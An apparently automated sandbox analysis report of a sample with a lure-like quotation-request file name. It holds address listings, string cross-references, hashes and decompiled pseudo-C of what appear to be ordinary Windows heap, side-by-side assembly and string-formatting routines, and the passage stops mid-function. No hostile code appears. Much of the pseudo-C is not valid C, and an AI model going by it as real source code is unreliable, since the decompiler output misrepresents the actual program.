0x00ad2ed9
0x00ad2ee8
0x00ad2eeb
0x00ad2eef
0x00ad2ef2
0x00ad2efe
0x00ad2f04
0x00ad2f04
0x00ad2f04
0x00ad2f06
0x00ad2f0d
0x00ad2f0f
0x00ad2f13
0x00ad2f13
0x00ad2f1b
0x00ad2f21
0x00ad2f27
0x00ad2f95
0x00ad2f98
0x00ad2f9b
0x00ad2fa0
0x00000000
0x00000000
0x00ad2fa6
0x00ad2fa9
0x00ad2fac
0x00000000
0x00000000
0x00ad2fb2
0x00ad2fb9
0x00000000
0x00000000
0x00ad2fc3
0x00ad2fca
0x00000000
0x00000000
0x00ad2fd0
0x00ad2fd6
0x00ad2fd9
0x00ad2ff8
0x00ad2ffd
0x00ad2fdb
0x00ad2ff0
0x00ad2ff5
0x00ad300e
0x00ad300f
0x00ad301a
0x00000000
0x00ad2f29
0x00ad2f29
0x00ad2f2c
0x00ad2f4b
0x00ad2f50
0x00ad2f2e
0x00ad2f43
0x00ad2f48
0x00ad2f56
0x00ad2f64
0x00ad2f6c
0x00ad2f6c
0x00ad2f72
0x00ad2f76
0x00ad2f7c
0x00ad2f83
0x00ad2f89
0x00ad2f8a
0x00ad2f8a
0x00000000
0x00ad2f76
0x00ad2f27
0x00ad2e6d
0x00ad2da6
0x00ad2dab
0x00ad2db3
0x00ad2db9
0x00ad30bc
0x00ad30c1
0x00ad30c1

Strings

RtlAllocateHeap, xrefs: 00AD2DCA
HEAP: , xrefs: 00AD2F4B, 00AD2FF8, 00AD304F
Just allocated block at %p for %Ix bytes, xrefs: 00AD2F5F
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 00AD3015
HEAP[%wZ]: , xrefs: 00AD2F3E, 00AD2FEB, 00AD3042
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 00AD305E

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 0-1745908468
Opcode ID: 1d7085121bef9cfb8e8c3533a92d135a02aa1b9bbd1cd2fac4e37de2262af0c2
Instruction ID: aa74de6868e0b0a2a12309f546631847b792e579df84f65e333e7799eb19cfb2
Opcode Fuzzy Hash: 1d7085121bef9cfb8e8c3533a92d135a02aa1b9bbd1cd2fac4e37de2262af0c2
Instruction Fuzzy Hash: 0F911031610644DFCB26DF68C551BADBBF2BF59710F18841AF4466B792CB329E81CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00A4CCC0, Relevance: 7.7, Strings: 6, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00A4CCC0(intOrPtr _a4, intOrPtr* _a8, signed int* _a12) {
				signed int _v8;
				char _v540;
				signed int _v544;
				char _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				signed int _v576;
				char _v580;
				char _v584;
				char* _v588;
				signed int _v590;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				intOrPtr _v604;
				signed int _v608;
				signed int _v612;
				signed short _v616;
				intOrPtr _v620;
				signed int _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				intOrPtr _t79;
				signed int _t82;
				intOrPtr _t84;
				intOrPtr* _t104;
				void* _t105;
				void* _t106;
				signed int _t109;
				void* _t112;
				intOrPtr _t113;
				void* _t119;
				signed int _t123;
				signed int* _t126;
				void* _t127;
				signed int _t131;
				signed int _t133;

				_t133 = (_t131 & 0xfffffff8) - 0x25c;
				_v8 =  *0xb0d360 ^ _t133;
				_t104 = _a8;
				_t126 = _a12;
				_t76 = _a4 - 1;
				if(_t76 == 0) {
					_v580 = 0x18;
					_push( &_v580);
					_v568 = 0x40;
					_push(8);
					_v600 = 0;
					_push( &_v600);
					_v576 = 0;
					_v572 = 0x9f13a8;
					_v564 = 0;
					_v560 = 0;
					_t79 = L00A59600();
					_v620 = _t79;
					if(_t79 >= 0 || _t79 == 0xc0000034 || _t79 == 0xc0000189) {
						_t80 = _v600;
						 *(_t104 + 0x18) =  *(_t104 + 0x18) | 0xffffffff;
						 *((intOrPtr*)(_t104 + 8)) = _v600;
					} else {
						_push(_t79);
						_t80 = L00AA5720(0x33, 0, "SXS: Unable to open registry key %wZ Status = 0x%08lx\n", 0x9f13a8);
						 *((char*)(_t104 + 0x1c)) = 1;
						L36:
						_t133 = _t133 + 0x14;
						if(_t126 == 0) {
							L9:
							_pop(_t119);
							_pop(_t127);
							_pop(_t105);
							return L00A5B640(_t80, _t105, _v8 ^ _t133, _t115, _t119, _t127);
						}
						_t80 = _v608;
						L38:
						 *_t126 = _t80;
					}
					goto L9;
				}
				_t82 = _t76 - 1;
				if(_t82 != 0) {
					_t80 = _t82;
					if(_t80 == 0 &&  *_t104 != _t80) {
						_push( *_t104);
						_t80 = E00A595D0();
					}
					goto L9;
				}
				_t84 =  *((intOrPtr*)(_t104 + 4));
				if(_t84 != 0) {
					if(_t84 != 1) {
						_t109 =  *_t104;
						_t80 = _t84 + 0xfffffffe;
						_v608 = _t109;
						_v584 = 0;
						_v596 = _t80;
						if(_t109 == 0) {
							L30:
							 *((char*)(_t104 + 9)) = 1;
							goto L9;
						}
						_push( &_v584);
						_push(0x220);
						_t115 =  &_v556;
						_push( &_v556);
						_push(0);
						_push(_t80);
						_push(_t109);
						_t80 = E00A59820();
						_v624 = _t80;
						if(_t80 >= 0) {
							_t80 = _v544;
							if(_t80 > 0xfffe) {
								L20:
								 *((char*)(_t104 + 8)) = 1;
								if(_t126 != 0) {
									 *_t126 = 0xc0000106;
								}
								goto L9;
							}
							_t115 =  &_v592;
							_v592 = _t80;
							_v590 = _t80;
							_v588 =  &_v540;
							_t80 = E00AA4A28(_v608,  &_v592, _t104 + 0xc);
							_v612 = _t80;
							if(_t80 >= 0) {
								goto L9;
							}
							_push(_t80);
							_t80 = L00AA5720(0x33, 0, "SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx\n",  &_v592);
							 *((char*)(_t104 + 8)) = 1;
							goto L36;
						}
						if(_t80 == 0x8000001a) {
							goto L30;
						}
						_push(_t80);
						_t80 = L00AA5720(0x33, 0, "SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx\n", _v596);
						_t133 = _t133 + 0x14;
						 *((char*)(_t104 + 8)) = 1;
						if(_t126 == 0) {
							goto L9;
						}
						_t80 = _v600;
						goto L38;
					}
					E00A5BB40(_t106,  &_v608, E00A2AAB0());
					_t115 = _v616 & 0x0000ffff;
					 *(_t104 + 0xc) = 0;
					_t27 = _t115 + 0x10; // 0x50
					_t80 = _t27;
					if(_t27 > ( *(_t104 + 0xe) & 0x0000ffff)) {
						L22:
						 *((char*)(_t104 + 8)) = 1;
						if(_t126 != 0) {
							 *_t126 = 0xc0000023;
						}
						goto L9;
					}
					E00A5F3E0( *((intOrPtr*)(_t104 + 0x10)), _v604, _t115);
					_t133 = _t133 + 0xc;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t80 = _v608 + 0x10;
					L8:
					 *(_t104 + 0xc) = _t80;
					goto L9;
				}
				_t80 =  *( *[fs:0x30] + 0x10);
				_t123 =  *( *( *[fs:0x30] + 0x10) + 0x38) & 0x0000ffff;
				_v596 = _t123;
				_t9 = _t123 + 0x10; // 0xa26177
				_t112 = _t9;
				if(_t112 > 0xfffe) {
					goto L20;
				}
				_t80 =  *(_t104 + 0xe) & 0x0000ffff;
				if(_t112 > ( *(_t104 + 0xe) & 0x0000ffff)) {
					goto L22;
				}
				_t113 =  *((intOrPtr*)( *( *[fs:0x30] + 0x10) + 0x3c));
				if(( *( *( *[fs:0x30] + 0x10) + 8) & 0x00000001) == 0) {
					_t113 = _t113 +  *( *[fs:0x30] + 0x10);
				}
				E00A5F3E0( *((intOrPtr*)(_t104 + 0x10)), _t113, _t123);
				_t133 = _t133 + 0xc;
				_t115 = 1;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *(_t104 + 0xc) = _v596 + 0xe;
				if(E00A4D268( *((intOrPtr*)(_t104 + 0x10)), 1) != 0) {
					goto L9;
				} else {
					_t80 = 0;
					goto L8;
				}
			}

0x00a4ccc8
0x00a4ccd5
0x00a4cce0
0x00a4cce4
0x00a4cce8
0x00a4cceb
0x00a4ce12
0x00a4ce1a
0x00a4ce1d
0x00a4ce25
0x00a4ce2b
0x00a4ce2f
0x00a4ce30
0x00a4ce34
0x00a4ce3c
0x00a4ce40
0x00a4ce44
0x00a4ce49
0x00a4ce4f
0x00a4ce5c
0x00a4ce60
0x00a4ce64
0x00a8ad96
0x00a8ad96
0x00a8ada4
0x00a8ada9
0x00a8adad
0x00a8adad
0x00a8adb2
0x00a4cd88
0x00a4cd8f
0x00a4cd90
0x00a4cd91
0x00a4cd9c
0x00a4cd9c
0x00a8adb8
0x00a8adbc
0x00a8adbc
0x00a8adbc
0x00000000
0x00a4ce4f
0x00a4ccf1
0x00a4ccf4
0x00a4cda0
0x00a4cda3
0x00a8ac7c
0x00a8ac7e
0x00a8ac7e
0x00000000
0x00a4cda3
0x00a4ccfa
0x00a4ccff
0x00a4cdb1
0x00a8acc4
0x00a8acc8
0x00a8accb
0x00a8accf
0x00a8acd3
0x00a8acd9
0x00a8ad2b
0x00a8ad2b
0x00000000
0x00a8ad2b
0x00a8acdf
0x00a8ace0
0x00a8ace5
0x00a8ace9
0x00a8acea
0x00a8aceb
0x00a8acec
0x00a8aced
0x00a8acf2
0x00a8acf8
0x00a8ad34
0x00a8ad3d
0x00a8ac88
0x00a8ac88
0x00a8ac8e
0x00a8ac94
0x00a8ac94
0x00000000
0x00a8ac8e
0x00a8ad47
0x00a8ad4b
0x00a8ad50
0x00a8ad59
0x00a8ad61
0x00a8ad66
0x00a8ad6c
0x00000000
0x00000000
0x00a8ad72
0x00a8ad80
0x00a8ad85
0x00000000
0x00a8ad85
0x00a8acff
0x00000000
0x00000000
0x00a8ad01
0x00a8ad0e
0x00a8ad13
0x00a8ad16
0x00a8ad1c
0x00000000
0x00000000
0x00a8ad22
0x00000000
0x00a8ad22
0x00a4cdc2
0x00a4cdc7
0x00a4cdd2
0x00a4cdd6
0x00a4cdd6
0x00a4cddb
0x00a8ac9f
0x00a8ac9f
0x00a8aca5
0x00a8acab
0x00a8acab
0x00000000
0x00a8aca5
0x00a4cde9
0x00a4cdfb
0x00a4cdfe
0x00a4cdff
0x00a4ce00
0x00a4ce01
0x00a4ce06
0x00a4cd84
0x00a4cd84
0x00000000
0x00a4cd84
0x00a4cd0b
0x00a4cd0e
0x00a4cd12
0x00a4cd16
0x00a4cd16
0x00a4cd1f
0x00000000
0x00000000
0x00a4cd25
0x00a4cd2b
0x00000000
0x00000000
0x00a4cd3a
0x00a4cd4a
0x00a8acbc
0x00a8acbc
0x00a4cd56
0x00a4cd66
0x00a4cd6c
0x00a4cd6e
0x00a4cd6f
0x00a4cd70
0x00a4cd71
0x00a4cd75
0x00a4cd80
0x00000000
0x00a4cd82
0x00a4cd82
0x00000000
0x00a4cd82

Strings

@, xrefs: 00A4CE1D
SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx, xrefs: 00A8AD78
SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx, xrefs: 00A8AD06
\WinSxS\, xrefs: 00A4CDF3
SXS: Unable to open registry key %wZ Status = 0x%08lx, xrefs: 00A8AD9C
.Local\, xrefs: 00A4CD61

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: .Local\$@$SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx$SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx$SXS: Unable to open registry key %wZ Status = 0x%08lx$\WinSxS\
API String ID: 0-3926108909
Opcode ID: f8fd13955019b3b8f8de7be234548bd67187b6ef43e5b80e312aa0516475f717
Instruction ID: be7d6149b66fb344b695ac308e39f118b03161c61fea7419e3e3cd7a69489b3e
Opcode Fuzzy Hash: f8fd13955019b3b8f8de7be234548bd67187b6ef43e5b80e312aa0516475f717
Instruction Fuzzy Hash: E081EFB59053019FD711DF28C880A6BBBE8BFD5750F04896EF899DB291E370D904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A68BE8, Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 657
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 66%

			E00A68BE8(void* __edi, void* __esi, intOrPtr _a4, signed int _a8, unsigned int _a12) {
				signed int _v8;
				char _v521;
				char _v1032;
				signed int _v1036;
				unsigned int _v1040;
				signed int _v1044;
				signed int _v1048;
				signed int _v1052;
				signed int _v1056;
				signed int _v1060;
				intOrPtr _v1064;
				signed int _v1068;
				signed int _v1072;
				signed char _v1075;
				signed char _v1076;
				short _v1078;
				short _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				intOrPtr _v1100;
				signed int _v1104;
				signed int __ebx;
				signed int _t227;
				signed int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t236;
				signed int _t239;
				signed int _t242;
				void* _t243;
				unsigned int _t245;
				intOrPtr _t246;
				signed short* _t249;
				signed int _t251;
				signed int _t255;
				signed int _t256;

				_t254 = __esi;
				_t252 = __edi;
				_v8 =  *0xb0d360 ^ _t256;
				_t246 = _a4;
				_t251 = 0;
				_v1064 = _t246;
				_v1040 = _a12;
				_v1088 = 0;
				_v1068 = 0;
				_v1044 = 0;
				_v1056 = 0;
				_v1092 = 0;
				_v1060 = 0;
				_t242 = 0;
				_v1036 = 0;
				if(_t246 != 0) {
					_t227 = _a8;
					if(_t227 == 0) {
						goto L1;
					}
					_push(__esi);
					_push(__edi);
					_v1052 = 0;
					_v1072 = 0;
					_t251 =  *_t227 & 0x0000ffff;
					if(_t251 == 0) {
						L184:
						_t229 = _v1052;
						goto L185;
					} else {
						_t255 = _v1104;
						_t249 = _t227;
						while(1) {
							_v1048 = _t249;
							_t250 =  &(_t249[1]);
							_t231 = _t251 & 0x0000ffff;
							_a8 =  &(_t249[1]);
							if(_v1052 < 0) {
								break;
							}
							_t250 = _t231;
							_t20 = _t251 - 0x20; // -32
							_t243 = 0x58;
							if(_t20 > _t243) {
								_t236 = 0;
							} else {
								_t236 =  *(_t250 + 0x9f6750) & 0xf;
							}
							_t24 = _v1072 + 0x9f6770; // 0x86808006
							_t245 =  *(_t236 * 9 + _t24) & 0x000000ff;
							_v1072 = _t245;
							_t242 = _v1036;
							_t239 = _t245 >> 4;
							_v1072 = _t239;
							if(_t239 == 8) {
								L183:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_t229 = E00A5B58E(_t242, _t250, _t251, 0, _t255) | 0xffffffff;
								L185:
								_pop(_t252);
								_pop(_t254);
								L186:
								return L00A5B640(_t229, _t242, _v8 ^ _t256, _t251, _t252, _t254);
							} else {
								if(_t239 > 7) {
									L179:
									_t249 = _a8;
									L180:
									_t251 =  *_t249 & 0x0000ffff;
									if(_t251 != 0) {
										continue;
									}
									break;
								}
								switch( *((intOrPtr*)(_t239 * 4 +  &M00A69534))) {
									case 0:
										L57:
										__eax =  &_v1052;
										_v1060 = 1;
										__eax = E00A69554(__edx, _v1064,  &_v1052);
										goto L179;
									case 1:
										_v1044 = _v1044 | 0xffffffff;
										_t242 = 0;
										_v1092 = 0;
										_v1068 = 0;
										_v1056 = 0;
										_v1036 = 0;
										_v1060 = 0;
										goto L179;
									case 2:
										_push(0x20);
										_pop(__eax);
										__ecx = __ecx - __eax;
										__eflags = __ecx;
										if(__ecx == 0) {
											__ebx = __ebx | 0x00000002;
											goto L21;
										}
										__ecx = __ecx - 3;
										__eflags = __ecx;
										if(__ecx == 0) {
											__ebx = __ebx | 0x00000080;
											goto L21;
										}
										__ecx = __ecx - 8;
										__eflags = __ecx;
										if(__ecx == 0) {
											__ebx = __ebx | 0x00000001;
											goto L21;
										}
										__ecx = __ecx - 1;
										__ecx = __ecx - 1;
										__eflags = __ecx;
										if(__ecx == 0) {
											__ebx = __ebx | 0x00000004;
											__eflags = __ebx;
											goto L21;
										}
										__eflags = __ecx;
										__ecx = _a8;
										if(__eflags != 0) {
											goto L180;
										} else {
											__ebx = __ebx | 0x00000008;
											__eflags = __ebx;
											goto L19;
										}
									case 3:
										_push(0x2a);
										_pop(__eax);
										__eflags = __dx - __ax;
										if(__dx != __ax) {
											_v1068 * 0xa = 0xffffffd0 + _v1068 * 0xa;
											__eax = 0xffffffd0 + _v1068 * 0xa + __ecx;
											_v1068 = __eax;
											goto L179;
										} else {
											__ecx = _v1040;
											__ecx = _v1040 + 4;
											_v1040 = __ecx;
											__eax =  *(__ecx - 4);
											__ecx = _a8;
											_v1068 = __eax;
											__eflags = __eax;
											if(__eax < 0) {
												__ebx = __ebx | 0x00000004;
												__eax =  ~__eax;
												_v1036 = __ebx;
												_v1068 = __eax;
											}
											goto L180;
										}
									case 4:
										__eax = 0;
										__eflags = 0;
										goto L30;
									case 5:
										_push(0x2a);
										_pop(__eax);
										__eflags = __dx - __ax;
										if(__dx != __ax) {
											_v1044 * 0xa = 0xffffffd0 + _v1044 * 0xa;
											__eax = 0xffffffd0 + _v1044 * 0xa + __ecx;
											L30:
											_v1044 = __eax;
											goto L179;
										}
										__ecx = _v1040;
										__ecx = _v1040 + 4;
										_v1040 = __ecx;
										__ecx =  *(__ecx - 4);
										__eflags = __ecx;
										_v1044 = __ecx;
										__ecx = _a8;
										if(__eflags < 0) {
											_v1044 = _v1044 | 0xffffffff;
										}
										goto L180;
									case 6:
										__eflags = __ecx - 0x49;
										if(__ecx == 0x49) {
											__eax = _a8;
											__eax =  *_a8 & 0x0000ffff;
											__eflags = __eax - 0x36;
											if(__eax != 0x36) {
												__eflags = __eax - 0x33;
												if(__eax != 0x33) {
													__eflags = __eax - 0x64;
													if(__eax == 0x64) {
														goto L179;
													}
													_push(0x69);
													_pop(__ecx);
													__eflags = __ax - __cx;
													if(__ax == __cx) {
														goto L179;
													}
													__eflags = __eax - 0x6f;
													if(__eax == 0x6f) {
														goto L179;
													}
													__eflags = __eax - 0x75;
													if(__eax == 0x75) {
														goto L179;
													}
													_push(0x78);
													_pop(__ecx);
													__eflags = __ax - __cx;
													if(__ax == __cx) {
														goto L179;
													}
													_push(0x58);
													_pop(__ecx);
													__eflags = __ax - __cx;
													if(__ax == __cx) {
														goto L179;
													}
													L56:
													__eax = 0;
													__eflags = 0;
													_v1072 = 0;
													goto L57;
												}
												__eax = _v1048;
												__eflags =  *((short*)(__eax + 4)) - 0x32;
												if( *((short*)(__eax + 4)) != 0x32) {
													goto L56;
												}
												__ecx = __eax + 6;
												__ebx = __ebx & 0xffff7fff;
												L19:
												_v1036 = __ebx;
												goto L180;
											}
											__eax = _v1048;
											__eflags =  *((short*)(__eax + 4)) - 0x34;
											if( *((short*)(__eax + 4)) != 0x34) {
												goto L56;
											}
											__ecx = __eax + 6;
											__ebx = __ebx | 0x00008000;
											goto L19;
										}
										__eflags = __ecx - 0x68;
										if(__ecx == 0x68) {
											_push(0x20);
											_pop(__eax);
											__ebx = __ebx | __eax;
											L21:
											_v1036 = __ebx;
											goto L179;
										}
										_push(0x6c);
										_pop(__edx);
										__eflags = __ecx - __edx;
										if(__ecx == __edx) {
											__eax = _a8;
											__ecx =  *_a8 & 0x0000ffff;
											__eflags = __cx - __dx;
											if(__cx != __dx) {
												__eax = _v1048;
												_a8 = _v1048;
											}
											__eax = 0;
											__eflags = __cx - __dx;
											__ecx = _a8;
											0 | __eflags == 0x00000000 = (__eflags == 0) - 1;
											__eax = (__eflags == 0x00000000) - 0x00000001 & 0xfffff010;
											__eax = ((__eflags == 0x00000000) - 0x00000001 & 0xfffff010) + 0x1000;
											__ebx = __ebx | __eax;
											__ecx = _a8 + 2;
											_v1036 = __ebx;
											goto L180;
										}
										__eflags = __ecx - 0x77;
										__ecx = _a8;
										if(__eflags != 0) {
											goto L180;
										}
										__ebx = __ebx | 0x00000800;
										goto L19;
									case 7:
										_push(0x69);
										_pop(__eax);
										__eflags = __ecx - __eax;
										if(__eflags > 0) {
											__ecx = __ecx - 0x6e;
											__eflags = __ecx;
											if(__ecx == 0) {
												goto L183;
											}
											__ecx = __ecx - 1;
											__eflags = __ecx;
											if(__ecx == 0) {
												_v1048 = 8;
												__eflags = __bl;
												if(__bl >= 0) {
													L116:
													__eflags = __ebx & 0x00008000;
													if((__ebx & 0x00008000) == 0) {
														__eflags = __ebx & 0x00001000;
														if((__ebx & 0x00001000) == 0) {
															__ecx = _v1040;
															__eax = __ebx;
															__ecx = _v1040 + 4;
															__eax = __ebx & 0x00000040;
															_v1040 = __ecx;
															__eflags = __bl & 0x00000020;
															if((__bl & 0x00000020) == 0) {
																_v1040 = __ecx;
																__eflags = __eax;
																if(__eax == 0) {
																	__edi =  *(__ecx - 4);
																	__ecx = 0;
																	__eflags = 0;
																	__edx = 0;
																	L129:
																	__eflags = __bl & 0x00000040;
																	if((__bl & 0x00000040) == 0) {
																		L134:
																		__eflags = __ebx & 0x00009000;
																		if((__ebx & 0x00009000) == 0) {
																			__edx = __ecx;
																		}
																		__eax = _v1044;
																		__eflags = _v1044;
																		if(_v1044 >= 0) {
																			_v1036 = __ebx;
																			__ebx = _v1044;
																			__eflags = __ebx - 0x200;
																			if(__ebx > 0x200) {
																				__ebx = 0x200;
																			}
																		} else {
																			__ebx = 0;
																			__ebx = 1;
																		}
																		__edi = __edi | __edx;
																		__eflags = __edi | __edx;
																		if((__edi | __edx) == 0) {
																			_v1056 = __ecx;
																		}
																		__esi =  &_v521;
																		while(1) {
																			__eax = __ebx;
																			__ecx = __esi;
																			__ebx = __ebx - 1;
																			_v1044 = __ebx;
																			__eflags = __eax;
																			if(__eax > 0) {
																				goto L145;
																			}
																			L144:
																			__eax = __edi;
																			__eax = __edi | __edx;
																			__eflags = __eax;
																			if(__eax == 0) {
																				__ebx = _v1036;
																				__edi =  &_v521;
																				__edi =  &_v521 - __esi;
																				__esi = __esi + 1;
																				__eflags = __ebx & 0x00000200;
																				if((__ebx & 0x00000200) == 0) {
																					L152:
																					__eflags = _v1092;
																					if(_v1092 != 0) {
																						goto L179;
																					}
																					__eflags = __bl & 0x00000040;
																					if((__bl & 0x00000040) == 0) {
																						L157:
																						_push(0x20);
																						_pop(__edx);
																						L158:
																						__eax = _v1068;
																						__ecx = __ebx;
																						_v1068 - __edi = _v1068 - __edi - _v1056;
																						__ecx = __ebx & 0x0000000c;
																						__eflags = __ecx;
																						_v1100 = _v1068 - __edi - _v1056;
																						_v1084 = __ecx;
																						if(__ecx == 0) {
																							__ecx =  &_v1052;
																							__eax = E00A695AA(__edx, __eax, _v1064,  &_v1052);
																						}
																						 &_v1052 =  &_v1080;
																						__eax = E00A695D8( &_v1080, _v1056, _v1064,  &_v1052);
																						__eflags = _v1084 - 8;
																						if(_v1084 == 8) {
																							__eax =  &_v1052;
																							_push( &_v1052);
																							_push(_v1064);
																							_push(_v1100);
																							_push(0x30);
																							_pop(__eax);
																							_push( &_v1052);
																							__eax = E00A695AA();
																							__esp = __esp + 0x10;
																						}
																						__eflags = _v1060;
																						if(_v1060 != 0) {
																							L175:
																							__eax =  &_v1052;
																							__eax = E00A695D8(__esi, __edi, _v1064,  &_v1052);
																						} else {
																							__eflags = __edi;
																							if(__edi <= 0) {
																								goto L175;
																							}
																							__ecx = __esi;
																							_v1084 = __esi;
																							__eax = __edi;
																							while(1) {
																								_v1048 = __eax;
																								__eax =  &_v1096;
																								__eax = L00A67E20( &_v1096, __ecx,  *0xb05874);
																								_v1104 = __eax;
																								__eflags = __eax - 2;
																								if(__eax == 2) {
																									_t195 =  &_v1048;
																									 *_t195 = _v1048 - 1;
																									__eflags =  *_t195;
																								}
																								__eflags = __eax;
																								if(__eax <= 0) {
																									break;
																								}
																								 &_v1052 = E00A69554(_v1096, _v1064,  &_v1052);
																								__ecx = _v1084;
																								__ecx = _v1084 + _v1104;
																								__eax = _v1048;
																								_v1084 = __ecx;
																								__eflags = __eax;
																								if(__eax > 0) {
																									continue;
																								}
																								L176:
																								__eflags = _v1052;
																								if(_v1052 >= 0) {
																									__eflags = __bl & 0x00000004;
																									if((__bl & 0x00000004) != 0) {
																										__eax =  &_v1052;
																										_push( &_v1052);
																										_push(_v1064);
																										_push(_v1100);
																										_push(0x20);
																										_pop(__eax);
																										_push( &_v1052);
																										__eax = E00A695AA();
																										__esp = __esp + 0x10;
																									}
																								}
																								goto L179;
																							}
																							_v1052 = _v1052 | 0xffffffff;
																						}
																						goto L176;
																					}
																					__eflags = __ebx & 0x00000100;
																					if((__ebx & 0x00000100) == 0) {
																						__eflags = __bl & 0x00000001;
																						if((__bl & 0x00000001) == 0) {
																							__eflags = __bl & 0x00000002;
																							if((__bl & 0x00000002) == 0) {
																								goto L157;
																							}
																							_push(0x20);
																							_pop(__edx);
																							_v1080 = __dx;
																							_v1056 = 1;
																							goto L158;
																						}
																						_push(0x2b);
																						L156:
																						_pop(__eax);
																						_v1080 = __ax;
																						_v1056 = 1;
																						goto L157;
																					}
																					_push(0x2d);
																					goto L156;
																				}
																				__eflags = __edi;
																				if(__edi == 0) {
																					L151:
																					__esi = __ecx;
																					__edi = __edi + 1;
																					__eflags = __edi;
																					_push(0x30);
																					_pop(__eax);
																					 *__esi = __al;
																					goto L152;
																				}
																				__eflags =  *__esi - 0x30;
																				if( *__esi == 0x30) {
																					goto L152;
																				}
																				goto L151;
																			}
																			L145:
																			_push(__ebx);
																			__eax = 0;
																			__eax = E00A5D220(__edi, __edx, _v1048, 0);
																			_v1104 = __ebx;
																			_pop(__ebx);
																			__ecx = __ecx + 0x30;
																			__edi = __eax;
																			__eflags = __ecx - 0x39;
																			if(__ecx > 0x39) {
																				__eflags = __ecx;
																			}
																			__ebx = _v1044;
																			 *__esi = __cl;
																			__esi = __esi - 1;
																			__eax = __ebx;
																			__ecx = __esi;
																			__ebx = __ebx - 1;
																			_v1044 = __ebx;
																			__eflags = __eax;
																			if(__eax > 0) {
																				goto L145;
																			}
																			goto L144;
																		}
																	}
																	__eflags = __edx - __ecx;
																	if(__eflags > 0) {
																		goto L134;
																	}
																	if(__eflags < 0) {
																		L133:
																		__edi =  ~__edi;
																		asm("adc edx, ecx");
																		__edx =  ~__edx;
																		__ebx = __ebx | 0x00000100;
																		__eflags = __ebx;
																		_v1036 = __ebx;
																		goto L134;
																	}
																	__eflags = __edi - __ecx;
																	if(__edi >= __ecx) {
																		goto L134;
																	}
																	goto L133;
																}
																__eax =  *(__ecx - 4);
																L126:
																asm("cdq");
																__edi = __eax;
																L127:
																__ecx = 0;
																goto L129;
															}
															__eflags = __eax;
															if(__eax == 0) {
																__eax =  *(__ecx - 4) & 0x0000ffff;
															} else {
																__eax =  *(__ecx - 4);
															}
															goto L126;
														}
														__eax = _v1040;
														__eax = _v1040 + 8;
														_v1040 = __eax;
														__edi =  *(__eax - 8);
														__edx =  *(__eax - 4);
														goto L127;
													}
													__ecx = _v1040;
													__ecx = _v1040 + 8;
													_v1040 = __ecx;
													__edi =  *(__ecx - 8);
													__edx =  *(__ecx - 4);
													goto L127;
												}
												__ebx = __ebx | 0x00000200;
												__eflags = __ebx;
												L115:
												_v1036 = __ebx;
												goto L116;
											}
											__ecx = __ecx - 1;
											__eflags = __ecx;
											if(__ecx == 0) {
												_v1044 = 8;
												L110:
												_v1088 = 7;
												_push(0x58);
												L111:
												_pop(__eax);
												_v1048 = 0x10;
												__eflags = __bl;
												if(__bl < 0) {
													_push(0x30);
													_pop(__ecx);
													_v1080 = __cx;
													_v1078 = __ax;
													_v1056 = 2;
												}
												goto L116;
											}
											__ecx = __ecx - 3;
											__eflags = __ecx;
											if(__ecx == 0) {
												L78:
												__eax = _v1044;
												__eflags = __eax - 0xffffffff;
												if(__eax == 0xffffffff) {
													__eax = 0x7fffffff;
												}
												__ecx = _v1040;
												__ecx = _v1040 + 4;
												_v1040 = __ecx;
												__esi =  *(__ecx - 4);
												__eflags = __bl & 0x00000020;
												if((__bl & 0x00000020) == 0) {
													__eflags = __esi;
													if(__esi == 0) {
														__esi = L"(null)";
													}
													_v1060 = 1;
													__edi = __esi;
													__eflags = __eax;
													if(__eax == 0) {
														L108:
														__edi = __edi - __esi;
														__edi = __edi >> 1;
														goto L152;
													} else {
														__ecx = 0;
														__eflags = 0;
														while(1) {
															__eax = __eax - 1;
															__eflags =  *__edi - __cx;
															if( *__edi == __cx) {
																goto L108;
															}
															__edi = __edi + 2;
															__eflags = __eax;
															if(__eax != 0) {
																continue;
															}
															goto L108;
														}
														goto L108;
													}
												} else {
													__eflags = __esi;
													if(__esi == 0) {
														__esi = "(null)";
													}
													__ecx = 0;
													__edi = 0;
													__eflags = __eax;
													if(__eax > 0) {
														while(1) {
															__eflags =  *((intOrPtr*)(__esi + __edi)) - __cl;
															if( *((intOrPtr*)(__esi + __edi)) == __cl) {
																goto L152;
															}
															__edi = __edi + 1;
															__eflags = __edi - __eax;
															if(__edi < __eax) {
																continue;
															}
															goto L152;
														}
													}
													goto L152;
												}
											}
											__ecx = __ecx - 1;
											__ecx = __ecx - 1;
											__eflags = __ecx;
											if(__ecx == 0) {
												_v1048 = 0xa;
												goto L116;
											}
